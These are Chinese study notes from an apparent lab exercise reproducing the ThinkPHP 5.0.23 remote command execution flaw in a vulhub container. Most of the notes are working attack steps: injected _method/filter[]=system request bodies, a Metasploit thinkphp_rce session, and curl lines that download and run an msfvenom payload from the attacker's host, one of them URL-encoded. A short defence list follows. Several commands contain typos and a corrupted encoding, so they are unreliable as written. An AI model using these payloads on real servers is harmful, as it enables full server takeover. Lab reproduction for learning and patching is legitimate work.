thinkphp 远程命令执行漏洞php的一个开发框架,5.0.23及以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用request类任意方法,构造payload,导致远程命令执行
sq1 注入 恶意构造的语句在数据库里面执行从而获取了数据
Rce 恶意构迷的语句在服务器(系统)上执行,从而达到黑客控制服务器的目的
类:方法的集合
方法:函数
函数:一串按照顺序和一定逻辑执行的代码
一、启动靶场
vulhub-master/thinkphp/
启动
docker-compose up -d
浏览器访问:http://192.168.59.10:8080/
- 通过教程复现漏洞
application/x-www-form-urlencoded
application/json
Basic
浏览器访问:http://192.168.59.10:8080/index.php?s=captcha
抓包修改为POST
指定类型Content-Type:application/x-www-form-urlencoded
增加请求体:
_method= _construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
server[REQUEST_METHOD]表示要访问页面的请求方法
第二种方法:
_method= _construct&filter[]=system&method=get[]=ls
- 利用msf复现
msfdb run
info
msf6 >use 0
msf6 exploit(unix/webapp/thinkphp_rce)>show options
msf6 exploit(unix/webapp/thinkphp_rce)>set rhosts 192.168.59.10
rhosts =>192.168.59.10
msf6 exploit(unix/webapp/thinkphp_rce)>set lhost 192.168.59.6
lhost =>192.168.59.6
msf6 exploit(unix/webapp/thinkphp_rce)>run
MSF实现直接获取权限原理
- 开启4444端口监听
- 检查有没有thinkphp漏洞
- 生成恶意程序
- 开放8080端口,可以让目标机从8080端口下载恶意程序
- 通过漏洞直接执行远程命令:
Curl -so /tmp/jGtAMkyrhttp://192.168.59.6:8080/VEJVQHJF2Y01;chmod +x/tmp/jGtAMkyr;/tmp/jGtAMkyr;rm-f/tmp/jGtAMkyr
- 手工利用
- 生成恶意文件
msfvenom 5555
curl -0 /tmp/linux_5555 http://192.168.59.6/linux_5555;chmod +x/tmp/linux_5555;/tmp/linux_5555
%63%75%72%6c%20%2d%6f%20%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35%20%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2%35%39%2e%36%2f%6c%69%6e%75%78%5f%35%35%35%35%36%63%68%6d%6f%64%20%2b%78%20%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35%3b%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35
curl http://192.168.59.10:8080/index.php?s=captcha -dmethod= construct&filter]=system&method=get&server [REQUEST_METHOD]=%63%75%72%6c%20%2d%6f%20%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35%20%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%35%39%2e%36%2f%6c%69%6e%75%78%5f%35%35%35%35%36%63%68%6d%6f%64%20%26%78%20%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35%36%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35"
curl http://192.168.59.10:8080/index.php?s=captcha -dmethod= construct&filter[]=system&method=get&server[REQUEST METHOD]=curl -0 /tmp/linux_5555 http://192.168.59.6/linux_5555;chmod +x/tmp/linux_5555;/tmp/linux_5555"
- 防御方法
- 升级thinkphp组件
- 打补丁
- 对method和_method进行过滤